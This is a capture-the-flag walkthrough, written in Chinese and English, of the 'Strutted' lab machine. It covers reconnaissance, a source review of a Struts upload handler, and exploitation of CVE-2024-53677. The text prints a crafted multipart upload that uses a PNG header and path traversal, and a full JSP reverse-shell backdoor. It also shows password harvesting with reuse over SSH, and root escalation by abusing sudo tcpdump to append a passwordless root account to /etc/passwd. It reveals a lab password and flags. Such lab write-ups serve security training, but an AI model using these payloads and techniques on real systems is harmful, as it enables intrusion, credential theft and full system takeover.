Strutted

Linux · Medium

Target IP Address: 10.10.11.59

Task 1

How many open TCP ports are listening on Strutted?

Strutted 上有多少个开放的 TCP 端口正在侦听?

nmap扫描

nmap -A 10.10.11.59

发现tcp开放22、80两个端口

image-20250203160728615

Task 2

Clicking Download triggers a zip file download containing the Docker environment for the application, what is the name of the application server running on the target?

单击 Download 将触发包含应用程序的 Docker 环境的 zip 文件下载,目标上运行的应用程序服务器的名称是什么?

修改hosts

10.10.11.59 strutted.htb

image-20250203173432591

Download下载源码,发现dockerfile

FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine

RUN apk add --no-cache maven

COPY strutted /tmp/strutted
WORKDIR /tmp/strutted

RUN mvn clean package

FROM tomcat:9.0

RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT

COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml

EXPOSE 8080

CMD ["catalina.sh", "run"]

应用程序服务器为tomcat

Task 3

In a Java project, what is the name of this file that contains the dependencies for the application?

在 Java 项目中,包含应用程序依赖项的此文件的名称是什么?

pom.xmlMaven 项目的核心配置文件,用于定义项目的结构、依赖、构建配置等信息.

image-20250203175825134

Task 4

What is the name of the MVC framework used by the application?

应用程序使用的 MVC 框架的名称是什么?

Apache Struts

image-20250214232334239

Task 5

What version of the framework does the application use?

应用程序使用什么版本的框架?

6.3.0.1

image-20250214233242035

Task 6

What is the 2024 CVE ID assigned to a vulnerability in the file upload logic vulnerability in Apache Struts?

分配给 Apache Struts 中文件上传逻辑漏洞漏洞的 2024 CVE ID 是什么?

根据Struts6.3.0.1检索可以发现CVE-2024-53677

Task 7

What system user is the web application running as on Strutted?

在 Strutted 上运行的 Web 应用程序以什么系统用户身份运行?

Upload.java源码,发现对后缀、ContentType和文件头都有检测,并且大小需要大于八字节

package org.strutted.htb;

import com.opensymphony.xwork2.ActionSupport;
import java.io.File;
import java.text.SimpleDateFormat;
import java.io.InputStream;
import java.io.FileInputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.UUID;
import org.apache.commons.io.FileUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.struts2.ServletActionContext;
import org.strutted.htb.URLUtil;
import org.strutted.htb.URLMapping;

public class Upload extends ActionSupport {
    private File upload;
    private String uploadFileName;
    private String uploadContentType;
    private String imagePath;
    public String shortenedUrl;
    private String fullUrl;
    private String relativeImagePath;

    private URLMapping urlMapping = new URLMapping();

    @Override
    public String execute() throws Exception {
        String method = ServletActionContext.getRequest().getMethod();
        boolean noFileSelected = (upload == null || StringUtils.isBlank(uploadFileName));

        if (noFileSelected) {
            if ("POST".equalsIgnoreCase(method)) {
                addActionError("Please select a file to upload.");
            }
            return INPUT;
        }

        String extension = "";
        int dotIndex = uploadFileName.lastIndexOf('.');
        if (dotIndex != -1 && dotIndex < uploadFileName.length() - 1) {
            extension = uploadFileName.substring(dotIndex).toLowerCase();
        }

        if (!isAllowedContentType(uploadContentType)) {
            addActionError("Only image files can be uploaded!");
            return INPUT;
        }

        if (!isImageByMagicBytes(upload)) {
            addActionError("The file does not appear to be a valid image.");
            return INPUT;
        }

        String baseUploadDirectory = System.getProperty("user.dir") + "/webapps/ROOT/uploads/";
        File baseDir = new File(baseUploadDirectory);
        if (!baseDir.exists() && !baseDir.mkdirs()) {
            addActionError("Server error: could not create base upload directory.");
            return INPUT;
        }

        String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
        File timeDir = new File(baseDir, timeStamp);
        if (!timeDir.exists() && !timeDir.mkdirs()) {
            addActionError("Server error: could not create timestamped upload directory.");
            return INPUT;
        }

        String relativeImagePath = "uploads/" + timeStamp + "/" + uploadFileName;
        this.imagePath = relativeImagePath;
        String fullUrl = constructFullUrl(relativeImagePath);

        try {
            File destFile = new File(timeDir, uploadFileName);
            FileUtils.copyFile(upload, destFile);
            String shortId = generateShortId();
            boolean saved = urlMapping.saveMapping(shortId, fullUrl);
            if (!saved) {
                addActionError("Server error: could not save URL mapping.");
                return INPUT;
            }

            this.shortenedUrl = ServletActionContext.getRequest().getRequestURL()
                .toString()
                .replace(ServletActionContext.getRequest().getRequestURI(), "") + "/s/" + shortId;

            addActionMessage("File uploaded successfully <a href=\"" + shortenedUrl + "\" target=\"_blank\">View your file</a>");
            return SUCCESS;

        } catch (Exception e) {
            addActionError("Error uploading file: " + e.getMessage());
            e.printStackTrace();
            return INPUT;
        }
    }

    private boolean isAllowedContentType(String contentType) {
        String[] allowedTypes = {"image/jpeg", "image/png", "image/gif"};
        for (String allowedType : allowedTypes) {
            if (allowedType.equalsIgnoreCase(contentType)) {
                return true;
            }
        }
        return false;
    }

    private boolean isImageByMagicBytes(File file) {
        byte[] header = new byte[8];
        try (InputStream in = new FileInputStream(file)) {
            int bytesRead = in.read(header, 0, 8);
            if (bytesRead < 8) {
                return false;
            }

            // JPEG
            if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
                return true;
            }

            // PNG
            if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
                return true;
            }

            // GIF (GIF87a or GIF89a)
            if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
                header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
                return true;
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

        return false;
    }

    private String generateShortId() {
        return UUID.randomUUID().toString().substring(0, 8);
    }

    private String constructFullUrl(String relativePath) {
        String scheme = ServletActionContext.getRequest().getScheme();
        String serverName = ServletActionContext.getRequest().getServerName();
        int serverPort = ServletActionContext.getRequest().getServerPort();
        String contextPath = ServletActionContext.getRequest().getContextPath();

        StringBuilder url = new StringBuilder();
        url.append(scheme).append("://").append(serverName);

        if ((scheme.equals("http") && serverPort != 80) ||
            (scheme.equals("https") && serverPort != 443)) {
            url.append(":").append(serverPort);
        }

        url.append(contextPath).append("/").append(relativePath);

        return url.toString();
    }

    public File getUpload() {
        return upload;
    }
    public void setUpload(File upload) {
        this.upload = upload;
    }

    public String getUploadFileName() {
        return uploadFileName;
    }
    public void setUploadFileName(String uploadFileName) {
        this.uploadFileName = uploadFileName;
    }

    public String getUploadContentType() {
        return uploadContentType;
    }
    public void setUploadContentType(String uploadContentType) {
        this.uploadContentType = uploadContentType;
    }

    public String getShortenedUrl() {
        return shortenedUrl;
    }

    public void setShortenedUrl(String shortenedUrl) {
        this.shortenedUrl = shortenedUrl;
    }

    public String getImagePath() {
        return imagePath;
    }
    public void setImagePath(String imagePath) {
        this.imagePath = imagePath;
    }
}

在web.xml中限制/uploads/*为静态目录,因此传到uploads的jsp都不会杯解析

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="struts_blank" version="2.4"
         xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
    <display-name>Strutted</display-name>

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>
            org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
        </filter-class>
    </filter>

    <servlet>
        <servlet-name>staticServlet</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>readonly</param-name>
            <param-value>true</param-value>
        </init-param>
    </servlet>

    <servlet-mapping>
        <servlet-name>staticServlet</servlet-name>
        <url-pattern>/uploads/*</url-pattern>
    </servlet-mapping>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
</web-app>

根据Apache Struts2 文件上传逻辑绕过(CVE-2024-53677)(S2-067)加上简单绕过各种限制可以实现jsp解析

添加\x89PNG文件头

../../shell.jsp实现目录穿越,逃逸uploads静态目录

------WebKitFormBoundaryzpuwk9xfCzlEuoB7
Content-Disposition: form-data; name="Upload"; filename="n0o0b.png"
Content-Type: image/png

{{unquote("\x89PNGfdsfsfsdf")}}// backdoor.jsp
------WebKitFormBoundaryzpuwk9xfCzlEuoB7
Content-Disposition: form-data; name="top.UploadFileName"

../../shell.jsp
------WebKitFormBoundaryzpuwk9xfCzlEuoB7--

image-20250215031651680

传个webshell

// backdoor.jsp
// http://www.security.org.sg/code/jspreverse.html

<%@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
%>
<%!
static class StreamConnector extends Thread
{
        InputStream is;
        OutputStream os;

        StreamConnector(InputStream is, OutputStream os)
        {
                this.is = is;
                this.os = os;
        }

        public void run()
        {
                BufferedReader isr = null;
                BufferedWriter osw = null;

                try
                {
                        isr = new BufferedReader(new InputStreamReader(is));
                        osw = new BufferedWriter(new OutputStreamWriter(os));

                        char buffer[] = new char[8192];
                        int lenRead;

                        while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
                        {
                                osw.write(buffer, 0, lenRead);
                                osw.flush();
                        }
                }
                catch (Exception ioe) {}

                try
                {
                        if(isr != null) isr.close();
                        if(osw != null) osw.close();
                }
                catch (Exception ioe) {}
        }
}
%>

<h1>JSP Backdoor Reverse Shell</h1>

<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>

<%
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");

if(ipAddress != null && ipPort != null)
{
        Socket sock = null;
        try
        {
                sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());

                Runtime rt = Runtime.getRuntime();
                Process proc = rt.exec("cmd.exe");

                StreamConnector outputConnector =
                        new StreamConnector(proc.getInputStream(),
                                          sock.getOutputStream());

                StreamConnector inputConnector =
                        new StreamConnector(sock.getInputStream(),
                                          proc.getOutputStream());

                outputConnector.start();
                inputConnector.start();
        }
        catch(Exception e) {}
}
%>

<!--    http://michaeldaw.org   2006    -->

访问`/shell.jsp进行弹shell

image-20250215031357633

web用户为tomcat

image-20250215032043394

Task 8

What is the james user’s password on Strutted?

詹姆斯用户在 Strutted 上的密码是什么?

先提升交互性

python3 -c 'import pty;pty.spawn("/bin/bash")'
[CTRL+Z]
stty raw -echo
fg

目前只拿到web权限,查看用户

cat /etc/passwd

发现有个叫james的

image-20250215033228292

查看是否有密码泄露

grep password -r ./*

发现在tomcat-users.xml中有一个密码IT14d6SSP81k,跟之前下载的源码里的不一样

image-20250215033447327

ssh尝试登录

ssh james@10.10.11.59

登陆成功

IT14d6SSP81k

User flag

06abcec91e6a9ee88152d9ed1b7a3b10

Task 10

What commands can the james user run with elevated privileges using sudo?

james 用户可以使用 sudo 以提升的权限运行哪些命令?

tcpdump

image-20250215054313539

Root flag

tcpdump | GTFOBins

image-20250215060556213

把拥有root权限的无密码n0o0b用户写入passwd进行提权

COMMAND='echo "n0o0b::0:0::/root:/bin/bash" >> /etc/passwd'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

image-20250215062224519

0782b3e5e9c577ab804e8042754bd8cb